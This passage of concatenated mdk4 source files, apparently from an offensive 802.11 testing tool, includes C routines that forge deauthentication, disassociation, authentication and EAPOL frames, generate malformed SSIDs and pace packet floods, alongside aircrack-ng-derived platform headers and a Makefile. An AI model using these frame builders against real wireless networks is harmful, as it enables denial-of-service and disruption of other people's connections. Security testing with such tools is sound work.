memcpy(beacon.data + beacon.len, DEFAULT_WPA_TKIP_TAG, 26);
beacon.len += 26;
}
if (encryption == 'a') {
memcpy(beacon.data + beacon.len, DEFAULT_WPA_AES_TAG, 26);
beacon.len += 26;
}
return beacon;
}
struct packet create_auth(struct ether_addr bssid, struct ether_addr client, uint16_t seq) {
struct packet auth;
struct auth_fixed *af;
create_ieee_hdr(&auth, IEEE80211_TYPE_AUTH, 'a', AUTH_DEFAULT_DURATION, bssid, client, bssid, SE_NULLMAC, 0);
af = (struct auth_fixed *) (auth.data + auth.len);
af->algorithm = htole16(AUTH_ALGORITHM_OPEN);
af->seq = htole16(seq);
af->status = htole16(AUTH_STATUS_SUCCESS);
auth.len = 30;
return auth;
}
struct packet create_probe(struct ether_addr source, char *ssid, unsigned char bitrate) {
struct packet probe;
struct ether_addr bc;
MAC_SET_BCAST(bc);
create_ieee_hdr(&probe, IEEE80211_TYPE_PROBEREQ, 'a', 0, bc, source, bc, SE_NULLMAC, 0);
add_ssid_set(&probe, ssid);
add_rate_sets(&probe, 1, (bitrate == 54));
return probe;
}
struct packet create_deauth(struct ether_addr destination, struct ether_addr source, struct ether_addr bssid) {
struct packet deauth;
uint16_t *reason;
create_ieee_hdr(&deauth, IEEE80211_TYPE_DEAUTH, 'a', AUTH_DEFAULT_DURATION, destination, source, bssid, SE_NULLMAC, 0);
reason = (uint16_t *) (deauth.data + deauth.len);
if (MAC_MATCHES(source, bssid)) {
*reason = htole16(DEAUTH_REASON_UNSPEC); //AP to Station deauth is with unspecified reason
} else {
*reason = htole16(DEAUTH_REASON_LEAVING); //Station to AP deauth is with reason "I am leavin the network"
}
deauth.len += 2;
return deauth;
}
struct packet create_disassoc(struct ether_addr destination, struct ether_addr source, struct ether_addr bssid) {
struct packet disassoc;
uint16_t *reason;
create_ieee_hdr(&disassoc, IEEE80211_TYPE_DISASSOC, 'a', AUTH_DEFAULT_DURATION, destination, source, bssid, SE_NULLMAC, 0);
reason = (uint16_t *) (disassoc.data + disassoc.len);
if (MAC_MATCHES(source, bssid)) {
*reason = htole16(DISASSOC_REASON_APFULL); //AP to Station: I kick you because I am crowded!
} else {
*reason = htole16(DISASSOC_REASON_LEAVING); //Station to AP: Bye bye, I am leaving the network!
}
disassoc.len += 2;
return disassoc;
}
struct packet create_assoc_req(struct ether_addr client, struct ether_addr bssid, uint16_t capabilities, char *ssid, unsigned char bitrate) {
struct packet assoc;
struct assoc_fixed *af;
create_ieee_hdr(&assoc, IEEE80211_TYPE_ASSOCREQ, 'a', AUTH_DEFAULT_DURATION, bssid, client, bssid, SE_NULLMAC, 0);
af = (struct assoc_fixed *) (assoc.data + assoc.len);
af->capabilities = htole16(capabilities);
af->interval = htole16(DEFAULT_LISTEN_INTERVAL);
assoc.len += sizeof(struct assoc_fixed);
add_ssid_set(&assoc, ssid);
add_rate_sets(&assoc, 1, (bitrate == 54));
return assoc;
}
struct packet create_cts(struct ether_addr destination, uint16_t duration) {
struct packet pkt;
struct cts *cts;
cts = (struct cts *) pkt.data;
cts->dest = destination;
cts->duration = duration;
cts->flags = 0;
cts->type = IEEE80211_TYPE_CTS;
pkt.len = sizeof(struct cts);
return pkt;
}
char *get_id_type(struct packet *pkt, unsigned char *ssidlen, unsigned char type) {
char *ssid = NULL;
struct ieee_hdr *hdr = (struct ieee_hdr *) (pkt->data);
unsigned char *tags = pkt->data + sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed);
if ((hdr->type != IEEE80211_TYPE_BEACON) && (hdr->type != IEEE80211_TYPE_PROBERES)) return NULL;
//Thats neither a beacon nor a probe response, therefor it has no SSID
while (tags < (pkt->data + pkt->len)) {
if (tags[0] == type) {
ssid = malloc(tags[1] + 1);
if (ssidlen) *ssidlen = tags[1];
memcpy(ssid, tags + 2, tags[1]);
ssid[tags[1]] = 0x00;
return ssid;
}
tags += tags[1] + 2;
}
//No ID found in Beacon Frame!
return NULL;
}
char *get_ssid(struct packet *pkt, unsigned char *ssidlen) {
return get_id_type(pkt, ssidlen, BEACON_TAGTYPE_SSID);
}
char *get_meshid(struct packet *pkt, unsigned char *meshidlen) {
return get_id_type(pkt, meshidlen, BEACON_TAGTYPE_MESHID);
}
uint16_t get_capabilities(struct packet *pkt) {
struct ieee_hdr *hdr = (struct ieee_hdr *) (pkt->data);
struct beacon_fixed *bf = (struct beacon_fixed *) (pkt->data + sizeof(struct ieee_hdr));
if (hdr->type != IEEE80211_TYPE_BEACON) return 0; //Thats not a beacon, therefor it has no capabilities
return le16toh(bf->capabilities);
}
void append_data(struct packet *pkt, unsigned char *data, int len) {
memcpy(pkt->data + pkt->len, data, len);
pkt->len += len;
}
void add_llc_header(struct packet *pkt, uint16_t llc_type) {
struct llc_header *llc;
llc = (struct llc_header *) (pkt->data + sizeof(struct ieee_hdr));
llc->dsap = LLC_SNAP; llc->ssap = LLC_SNAP;
llc->control = LLC_UNNUMBERED;
llc->encap[0] = 0x00; llc->encap[1] = 0x00; llc->encap[2] = 0x00;
llc->type = htobe16(llc_type);
pkt->len += 8;
}
void add_eapol(struct packet *pkt, uint16_t wpa_length, uint8_t *wpa_element, uint8_t wpa_1or2, uint8_t rsn_version, uint64_t rsn_replay) {
struct rsn_auth *rsn;
uint32_t t;
rsn = (struct rsn_auth *) (pkt->data + sizeof(struct ieee_hdr) + sizeof(struct llc_header));
rsn->version = rsn_version;
rsn->type = RSN_TYPE_KEY;
rsn->length = htobe16(sizeof(struct rsn_auth) + wpa_length - 4);
rsn->descriptor = RSN_DESCRIPTOR_KEY;
rsn->key_info = htobe16(0x0108); // Key MIC flag + Pairwise flag
if (wpa_1or2 == 1) rsn->key_info |= htobe16(0x0001);
if (wpa_1or2 == 2) rsn->key_info |= htobe16(0x0002);
rsn->key_length = htobe16(0);
rsn->replay_counter = htobe64(rsn_replay);
for (t=0; t<32; t++) rsn->nonce[t] = random();
memset(rsn->key_iv, 0x00, 16);
rsn->key_rsc = htobe64(0);
rsn->key_id = htobe64(0);
for (t=0; t<16; t++) rsn->key_mic[t] = random();
rsn->wpa_length = htobe16(wpa_length);
memcpy(pkt->data + sizeof(struct ieee_hdr) + sizeof(struct llc_header) + sizeof(struct rsn_auth), wpa_element, wpa_length);
pkt->len += sizeof(struct rsn_auth) + wpa_length;
}
void increase_seqno(struct packet *pkt) {
uint16_t frgseq;
struct ieee_hdr *hdr = (struct ieee_hdr *) (pkt->data);
frgseq = letoh16(hdr->frag_seq);
frgseq += 0x10; //Lower 4 bytes are fragment number
hdr->frag_seq = htole16(frgseq);
}
uint16_t get_seqno(struct packet *pkt) {
uint16_t seq;
struct ieee_hdr *hdr = (struct ieee_hdr *) (pkt->data);
seq = letoh16(hdr->frag_seq);
seq >>= 4;
return seq;
}
uint8_t get_fragno(struct packet *pkt) {
uint16_t seq;
struct ieee_hdr *hdr = (struct ieee_hdr *) (pkt->data);
seq = letoh16(hdr->frag_seq);
return (seq & 0xF);
}
void set_seqno(struct packet *pkt, uint16_t seq) {
struct ieee_hdr *hdr;
uint16_t frgseq;
if (!pkt) {
seqno = seq;
return;
}
hdr = (struct ieee_hdr *) (pkt->data);
frgseq = letoh16(hdr->frag_seq);
frgseq &= 0x000F; //Clear seq, but keep fragment intact;
frgseq |= (seq << 4); //Add seq
hdr->frag_seq = htole16(frgseq);
}
void set_fragno(struct packet *pkt, uint8_t frag, int last_frag) {
struct ieee_hdr *hdr = (struct ieee_hdr *) (pkt->data);
uint16_t seq = letoh16(hdr->frag_seq);
if (last_frag) hdr->flags &= 0xFB;
else hdr->flags |= 0x04;
seq &= 0xFFF0; //Clear frag bits
seq |= frag;
hdr->frag_seq = htole16(seq);
}
mdk4-master/src/helpers.c 0000644 0001750 0001750 00000006270 13525065636 016377 0 ustar samueloph samueloph #define _GNU_SOURCE //For getline() support
#include
#include
#include
#include
#include
#include "helpers.h"
char generate_channel()
{
// Generate a random channel
char c = 0;
c = (random() % 14) + 1;
return c;
}
char generate_printable_char(unsigned char malformed)
{
// Generate random printable ascii char, or just a random byte
char rnd = 0;
if (malformed) {
rnd = random();
} else {
rnd = (random() % 94) + ' ';
}
return rnd;
}
char *generate_ssid(unsigned char malformed)
{
char *ssid = (char*) malloc(256);
int len=0;
int t;
if (malformed) {
len = (random() % 256);
} else {
len = (random() % 32);
}
for (t=0; ttv_usec < y->tv_usec) {
int nsec = (y->tv_usec - x->tv_usec) / 1000000 + 1;
y->tv_usec -= 1000000 * nsec;
y->tv_sec += nsec;
}
if (x->tv_usec - y->tv_usec > 1000000) {
int nsec = (x->tv_usec - y->tv_usec) / 1000000;
y->tv_usec += 1000000 * nsec;
y->tv_sec -= nsec;
}
/* Compute the time remaining to wait.
tv_usec is certainly positive. */
result->tv_sec = x->tv_sec - y->tv_sec;
result->tv_usec = x->tv_usec - y->tv_usec;
/* Return 1 if result is negative. */
return x->tv_sec < y->tv_sec;
}
void sleep_till_next_packet(unsigned int pps) {
static struct timeval *lastvisit = NULL;
struct timeval now, next, wait;
unsigned int tbp;
if (!pps) return;
if (! lastvisit) {
lastvisit = malloc(sizeof(struct timeval));
gettimeofday(lastvisit, NULL);
return;
}
next.tv_sec = lastvisit->tv_sec; next.tv_usec = lastvisit->tv_usec;
tbp = 1000000 / pps;
next.tv_usec += tbp;
if (next.tv_usec > 999999) { next.tv_usec -= 1000000; next.tv_sec++; }
gettimeofday(&now, NULL);
if (! timeval_subtract(&wait, &next, &now))
usleep(wait.tv_usec);
gettimeofday(lastvisit, NULL);
}
char *read_next_line(char *filename, char reset)
{
static int last_pos = 0;
int bytesread;
char *line = NULL;
char **pline = &line;
FILE *file_fp;
size_t initsize = 1;
if (reset) last_pos = 0;
if ((file_fp = fopen(filename, "r")) == NULL) {
printf("Cannot open file: %s\n", filename);
exit(2);
}
fseek(file_fp, last_pos, SEEK_SET);
bytesread = getline(pline, &initsize, file_fp);
line = *pline;
if (bytesread == -1) {
last_pos = 0;
free(line); //Thanks valgrind for getting this BITCH. even if nothing is read from file, memory is still allocated by getline!
fclose(file_fp);
return NULL;
}
last_pos = ftell(file_fp);
fclose(file_fp);
//Remove newline if any
if (line[strlen(line) - 1] == '\n') line[strlen(line) - 1] = 0x00;
return line;
}
unsigned char *hex2bin(char *in, int *len) {
*len = strlen(in) / 2;
unsigned char *out = malloc(*len);
int i;
for (i=0; i<*len; i++) {
sscanf(in + (i*2), "%2hhx", out+i);
}
return out;
}
mdk4-master/src/osdep/ 0000755 0001750 0001750 00000000000 13525065636 015676 5 ustar samueloph samueloph mdk4-master/src/osdep/network.h 0000644 0001750 0001750 00000001366 13525065636 017546 0 ustar samueloph samueloph /*
* Copyright (c) 2007, 2008, Andrea Bittau
*
* Networking structures.
*
*/
#ifndef __AIRCRACK_NG_OSDEP_NETWORK_H__
#define __AIRCRACK_NG_OSDEP_NETWORK_H__
#include
#include
#include "osdep.h"
enum {
NET_RC = 1,
NET_GET_CHAN,
NET_SET_CHAN,
NET_WRITE,
NET_PACKET, /* 5 */
NET_GET_MAC,
NET_MAC,
NET_GET_MONITOR,
NET_GET_RATE,
NET_SET_RATE,
};
struct net_hdr {
uint8_t nh_type;
uint32_t nh_len;
uint8_t nh_data[0];
} __packed;
extern struct wif *net_open(char *iface);
extern int net_send(int s, int command, void *arg, int len);
extern int net_read_exact(int s, void *arg, int len);
extern int net_get(int s, void *arg, int *len);
#endif /* __AIRCRACK_NG_OSEDEP_NETWORK_H__ */
mdk4-master/src/osdep/tap-win32/ 0000755 0001750 0001750 00000000000 13525065636 017422 5 ustar samueloph samueloph mdk4-master/src/osdep/tap-win32/common.h 0000644 0001750 0001750 00000006415 13525065636 021071 0 ustar samueloph samueloph /*
* TAP-Win32 -- A kernel driver to provide virtual tap device functionality
* on Windows. Originally derived from the CIPE-Win32
* project by Damion K. Wilson, with extensive modifications by
* James Yonan.
*
* All source code which derives from the CIPE-Win32 project is
* Copyright (C) Damion K. Wilson, 2003, and is released under the
* GPL version 2 (see below).
*
* All other source code is Copyright (C) 2002-2005 OpenVPN Solutions LLC,
* and is released under the GPL version 2 (see below).
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program (see the file COPYING included with this
* distribution); if not, write to the Free Software Foundation, Inc.,
* 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
//===============================================
// This file is included both by OpenVPN and
// the TAP-Win32 driver and contains definitions
// common to both.
//===============================================
//=============
// TAP IOCTLs
//=============
#define TAP_CONTROL_CODE(request,method) \
CTL_CODE (FILE_DEVICE_UNKNOWN, request, method, FILE_ANY_ACCESS)
// Present in 8.1
#define TAP_IOCTL_GET_MAC TAP_CONTROL_CODE (1, METHOD_BUFFERED)
#define TAP_IOCTL_GET_VERSION TAP_CONTROL_CODE (2, METHOD_BUFFERED)
#define TAP_IOCTL_GET_MTU TAP_CONTROL_CODE (3, METHOD_BUFFERED)
#define TAP_IOCTL_GET_INFO TAP_CONTROL_CODE (4, METHOD_BUFFERED)
#define TAP_IOCTL_CONFIG_POINT_TO_POINT TAP_CONTROL_CODE (5, METHOD_BUFFERED)
#define TAP_IOCTL_SET_MEDIA_STATUS TAP_CONTROL_CODE (6, METHOD_BUFFERED)
#define TAP_IOCTL_CONFIG_DHCP_MASQ TAP_CONTROL_CODE (7, METHOD_BUFFERED)
#define TAP_IOCTL_GET_LOG_LINE TAP_CONTROL_CODE (8, METHOD_BUFFERED)
#define TAP_IOCTL_CONFIG_DHCP_SET_OPT TAP_CONTROL_CODE (9, METHOD_BUFFERED)
// Added in 8.2
/* obsoletes TAP_IOCTL_CONFIG_POINT_TO_POINT */
#define TAP_IOCTL_CONFIG_TUN TAP_CONTROL_CODE (10, METHOD_BUFFERED)
//=================
// Registry keys
//=================
#define ADAPTER_KEY "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}"
#define NETWORK_CONNECTIONS_KEY "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}"
//======================
// Filesystem prefixes
//======================
#define USERMODEDEVICEDIR "\\\\.\\Global\\"
#define SYSDEVICEDIR "\\Device\\"
#define USERDEVICEDIR "\\DosDevices\\Global\\"
#define TAPSUFFIX ".tap"
//=========================================================
// TAP_COMPONENT_ID -- This string defines the TAP driver
// type -- different component IDs can reside in the system
// simultaneously.
//=========================================================
#define TAP_COMPONENT_ID "tap0801"
mdk4-master/src/osdep/Makefile 0000644 0001750 0001750 00000003472 13525065636 017344 0 ustar samueloph samueloph MDK_ROOT = ../..
include $(MDK_ROOT)/common.mak
RTAP = radiotap
LIB = libosdep.a
CFLAGS += $(PIC) -I.. $(LIBAIRPCAP)
OBJS_COMMON = network.o file.o
OBJS = osdep.o $(OBJS_COMMON)
#AIRPCAP_DIR = airpcap
OBJS_APCAP = airpcap.o
OBJS_OBSD = $(OBJS) openbsd.o openbsd_tap.o
OBJS_NBSD = $(OBJS) netbsd.o netbsd_tap.o
OBJS_FBSD = $(OBJS) freebsd.o freebsd_tap.o
OBJS_LINUX = $(OBJS) linux.o linux_tap.o radiotap/radiotap.o common.o
OBJS_DUMMY = $(OBJS) dummy.o dummy_tap.o
OBJS_CYGWIN = $(OBJS) cygwin.o cygwin_tap.o radiotap/radiotap.o
OBJS_DARWIN = $(OBJS) darwin.o darwin_tap.o radiotap/radiotap.o
# XXX make it a DLL, without polluting cygwin.c
ifeq ($(subst TRUE,true,$(filter TRUE true,$(airpcap) $(AIRPCAP))),true)
OBJS_CYGWIN += $(OBJS_APCAP)
DOPCAP = $(AR) x $(AC_ROOT)/../developers/Airpcap_Devpack/lib/libairpcap.a
else
DOPCAP =
endif
all:
@echo Building for $(OSNAME)
@$(MAKE) .os.$(OSNAME)
.os.dummy: $(OBJS_DUMMY)
$(AR) cru $(LIB) $(OBJS_DUMMY)
$(RANLIB) $(LIB)
touch $(@)
.os.FreeBSD: $(OBJS_FBSD)
$(AR) cru $(LIB) $(OBJS_FBSD)
$(RANLIB) $(LIB)
touch $(@)
.os.GNU-kFreeBSD: $(OBJS_FBSD)
$(AR) cru $(LIB) $(OBJS_FBSD)
$(RANLIB) $(LIB)
touch $(@)
.os.OpenBSD: $(OBJS_OBSD)
$(AR) cru $(LIB) $(OBJS_OBSD)
$(RANLIB) $(LIB)
touch $(@)
.os.NetBSD: $(OBJS_NBSD)
$(AR) cru $(LIB) $(OBJS_NBSD)
$(RANLIB) $(LIB)
touch $(@)
.os.Linux: $(OBJS_LINUX)
$(AR) cru $(LIB) $(OBJS_LINUX)
$(RANLIB) $(LIB)
touch $(@)
.os.cygwin: $(OBJS_CYGWIN)
$(DOPCAP)
$(AR) cru $(LIB) *.o radiotap/radiotap.o
$(RANLIB) $(LIB)
touch $(@)
.os.Darwin: $(OBJS_DARWIN)
$(DOPCAP)
$(AR) cru $(LIB) $(OBJS_DARWIN)
$(RANLIB) $(LIB)
touch $(@)
.os.%: .os.dummy
@echo "Your platform is unsupported by osdep, dummy code compiled."
touch $(@)
install: all
uninstall:
clean:
$(MAKE) -C $(RTAP) clean
rm -f $(LIB) *.o .os.*
mdk4-master/src/osdep/common.h 0000644 0001750 0001750 00000003614 13525065636 017343 0 ustar samueloph samueloph /*
* (c) 2010-2015 Thomas d'Otreppe
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
* warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
* NON-INFRINGEMENT. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston,
* MA 02111-1307, USA.
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. If you
* do not wish to do so, delete this exception statement from your
* version. If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifndef _OSDEP_COMMON_H_
#define _OSDEP_COMMON_H_
int getFrequencyFromChannel(int channel);
int getChannelFromFrequency(int frequency);
/*
// For later use, because aircrack-ng doesn't compile with MS compilers
#if defined(WIN32) || defined(__WIN__)
#define ftruncate(a, b) _chsize(a,b)
#endif
*/
#define HIGHEST_CHANNEL 221
#define LOWEST_CHANNEL -16
#endif
mdk4-master/src/osdep/linux_tap.c 0000644 0001750 0001750 00000011357 13525065636 020054 0 ustar samueloph samueloph /*
* Copyright (c) 2007, 2008, Andrea Bittau
*
* OS dependent API for Linux. TAP routines
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "osdep.h"
struct tip_linux {
int tl_fd;
struct ifreq tl_ifr;
int tl_ioctls;
char tl_name[MAX_IFACE_NAME];
};
static int ti_do_open_linux(struct tif *ti, char *name)
{
int fd_tap;
struct ifreq if_request;
struct tip_linux *priv = ti_priv(ti);
fd_tap = open( name ? name : "/dev/net/tun", O_RDWR );
if(fd_tap < 0 )
{
printf( "error opening tap device: %s\n", strerror( errno ) );
printf( "try \"modprobe tun\"\n");
return -1;
}
memset( &if_request, 0, sizeof( if_request ) );
if_request.ifr_flags = IFF_TAP | IFF_NO_PI;
strncpy( if_request.ifr_name, "at%d", IFNAMSIZ );
if( ioctl( fd_tap, TUNSETIFF, (void *)&if_request ) < 0 )
{
printf( "error creating tap interface: %s\n", strerror( errno ) );
close( fd_tap );
return -1;
}
strncpy( priv->tl_name, if_request.ifr_name, MAX_IFACE_NAME );
strncpy(priv->tl_ifr.ifr_name, priv->tl_name,
sizeof(priv->tl_ifr.ifr_name) - 1);
if ((priv->tl_ioctls = socket(PF_INET, SOCK_DGRAM, 0)) == -1) {
priv->tl_ioctls = 0;
close(fd_tap);
return -1;
}
return fd_tap;
}
static void ti_do_free(struct tif *ti)
{
struct tip_fbsd *priv = ti_priv(ti);
free(priv);
free(ti);
}
static void ti_close_linux(struct tif *ti)
{
struct tip_linux *priv = ti_priv(ti);
close(priv->tl_fd);
close(priv->tl_ioctls);
ti_do_free(ti);
}
static char *ti_name_linux(struct tif *ti)
{
struct tip_linux *priv = ti_priv(ti);
return priv->tl_name;
}
static int ti_set_mtu_linux(struct tif *ti, int mtu)
{
struct tip_linux *priv = ti_priv(ti);
priv->tl_ifr.ifr_mtu = mtu;
return ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr);
}
static int ti_get_mtu_linux(struct tif *ti)
{
int mtu;
struct tip_linux *priv = ti_priv(ti);
if (ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr) != -1){
mtu = priv->tl_ifr.ifr_mtu;
}
else{
mtu = 1500;
}
return mtu;
}
static int ti_set_mac_linux(struct tif *ti, unsigned char *mac)
{
struct tip_linux *priv = ti_priv(ti);
memcpy(priv->tl_ifr.ifr_hwaddr.sa_data, mac, 6);
priv->tl_ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER;
return ioctl(priv->tl_ioctls, SIOCSIFHWADDR, &priv->tl_ifr);
}
static int ti_set_ip_linux(struct tif *ti, struct in_addr *ip)
{
struct tip_linux *priv = ti_priv(ti);
struct sockaddr_in *s_in;
s_in = (struct sockaddr_in*) &priv->tl_ifr.ifr_addr;
s_in->sin_family = AF_INET;
s_in->sin_addr = *ip;
return ioctl(priv->tl_ioctls, SIOCSIFADDR, &priv->tl_ifr);
}
static int ti_fd_linux(struct tif *ti)
{
struct tip_linux *priv = ti_priv(ti);
return priv->tl_fd;
}
static int ti_read_linux(struct tif *ti, void *buf, int len)
{
return read(ti_fd(ti), buf, len);
}
static int ti_write_linux(struct tif *ti, void *buf, int len)
{
return write(ti_fd(ti), buf, len);
}
static struct tif *ti_open_linux(char *iface)
{
struct tif *ti;
struct tip_linux *priv;
int fd;
/* setup ti struct */
ti = ti_alloc(sizeof(*priv));
if (!ti)
return NULL;
ti->ti_name = ti_name_linux;
ti->ti_set_mtu = ti_set_mtu_linux;
ti->ti_get_mtu = ti_get_mtu_linux;
ti->ti_close = ti_close_linux;
ti->ti_fd = ti_fd_linux;
ti->ti_read = ti_read_linux;
ti->ti_write = ti_write_linux;
ti->ti_set_mac = ti_set_mac_linux;
ti->ti_set_ip = ti_set_ip_linux;
/* setup iface */
fd = ti_do_open_linux(ti, iface);
if (fd == -1) {
ti_do_free(ti);
return NULL;
}
/* setup private state */
priv = ti_priv(ti);
priv->tl_fd = fd;
return ti;
}
struct tif *ti_open(char *iface)
{
return ti_open_linux(iface);
}
mdk4-master/src/osdep/dummy_tap.c 0000644 0001750 0001750 00000002200 13525065636 020033 0 ustar samueloph samueloph /*
* Copyright (c) 2007, 2008, Andrea Bittau
*
* OS dependent API for unsupported APIs. TAP routines
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#include
#include
#include "osdep.h"
static struct tif *ti_open_dummy(char *iface)
{
if (iface) {} /* XXX unused parameter */
return NULL;
}
struct tif *ti_open(char *iface)
{
return ti_open_dummy(iface);
}
mdk4-master/src/osdep/OSDEP_CHANGES_FOR_MDK3.txt 0000644 0001750 0001750 00000000243 13525065636 021724 0 ustar samueloph samueloph * copied common.mak into osdep folder
* removed first two lines of Makefile and replaced it with:
include common.mak
* changed REVISION in common.mak to mdk3-v7
mdk4-master/src/osdep/byteorder.h 0000644 0001750 0001750 00000033045 13525065636 020053 0 ustar samueloph samueloph /*
* Compatibility header
*
* Copyright (C) 2009-2015 Thomas d'Otreppe
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifndef _AIRCRACK_NG_BYTEORDER_H_
#define _AIRCRACK_NG_BYTEORDER_H_
#define ___my_swab16(x) \
((u_int16_t)( \
(((u_int16_t)(x) & (u_int16_t)0x00ffU) << 8) | \
(((u_int16_t)(x) & (u_int16_t)0xff00U) >> 8) ))
#define ___my_swab32(x) \
((u_int32_t)( \
(((u_int32_t)(x) & (u_int32_t)0x000000ffUL) << 24) | \
(((u_int32_t)(x) & (u_int32_t)0x0000ff00UL) << 8) | \
(((u_int32_t)(x) & (u_int32_t)0x00ff0000UL) >> 8) | \
(((u_int32_t)(x) & (u_int32_t)0xff000000UL) >> 24) ))
#define ___my_swab64(x) \
((u_int64_t)( \
(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00000000000000ffULL) << 56) | \
(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x000000000000ff00ULL) << 40) | \
(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x0000000000ff0000ULL) << 24) | \
(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00000000ff000000ULL) << 8) | \
(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x000000ff00000000ULL) >> 8) | \
(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x0000ff0000000000ULL) >> 24) | \
(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00ff000000000000ULL) >> 40) | \
(u_int64_t)(((u_int64_t)(x) & (u_int64_t)0xff00000000000000ULL) >> 56) ))
/*
* Linux
*/
#if defined(linux) || defined(Linux) || defined(__linux__) || defined(__linux) || defined(__gnu_linux__)
#include
#include
#include
#ifndef __int8_t_defined
typedef uint64_t u_int64_t;
typedef uint32_t u_int32_t;
typedef uint16_t u_int16_t;
typedef uint8_t u_int8_t;
#endif
#endif
/*
* Cygwin
*/
#if defined(__CYGWIN32__)
#include
#include
#define __be64_to_cpu(x) ___my_swab64(x)
#define __be32_to_cpu(x) ___my_swab32(x)
#define __be16_to_cpu(x) ___my_swab16(x)
#define __cpu_to_be64(x) ___my_swab64(x)
#define __cpu_to_be32(x) ___my_swab32(x)
#define __cpu_to_be16(x) ___my_swab16(x)
#define __le64_to_cpu(x) (x)
#define __le32_to_cpu(x) (x)
#define __le16_to_cpu(x) (x)
#define __cpu_to_le64(x) (x)
#define __cpu_to_le32(x) (x)
#define __cpu_to_le16(x) (x)
#define AIRCRACK_NG_BYTE_ORDER_DEFINED
#endif
/*
* Windows (DDK)
*/
#if defined(__WIN__)
#include
#define __be64_to_cpu(x) ___my_swab64(x)
#define __be32_to_cpu(x) ___my_swab32(x)
#define __be16_to_cpu(x) ___my_swab16(x)
#define __cpu_to_be64(x) ___my_swab64(x)
#define __cpu_to_be32(x) ___my_swab32(x)
#define __cpu_to_be16(x) ___my_swab16(x)
#define __le64_to_cpu(x) (x)
#define __le32_to_cpu(x) (x)
#define __le16_to_cpu(x) (x)
#define __cpu_to_le64(x) (x)
#define __cpu_to_le32(x) (x)
#define __cpu_to_le16(x) (x)
#define AIRCRACK_NG_BYTE_ORDER_DEFINED
#endif
/*
* MAC (Darwin)
*/
#if defined(__APPLE_CC__)
#if defined(__x86_64__) && defined(__APPLE__)
#include
#define __swab64(x) (unsigned long long) OSSwapInt64((uint64_t)x)
#define __swab32(x) (unsigned long) OSSwapInt32((uint32_t)x)
#define __swab16(x) (unsigned short) OSSwapInt16((uint16_t)x)
#define __be64_to_cpu(x) (unsigned long long) OSSwapBigToHostInt64((uint64_t)x)
#define __be32_to_cpu(x) (unsigned long) OSSwapBigToHostInt32((uint32_t)x)
#define __be16_to_cpu(x) (unsigned short) OSSwapBigToHostInt16((uint16_t)x)
#define __le64_to_cpu(x) (unsigned long long) OSSwapLittleToHostInt64((uint64_t)x)
#define __le32_to_cpu(x) (unsigned long) OSSwapLittleToHostInt32((uint32_t)x)
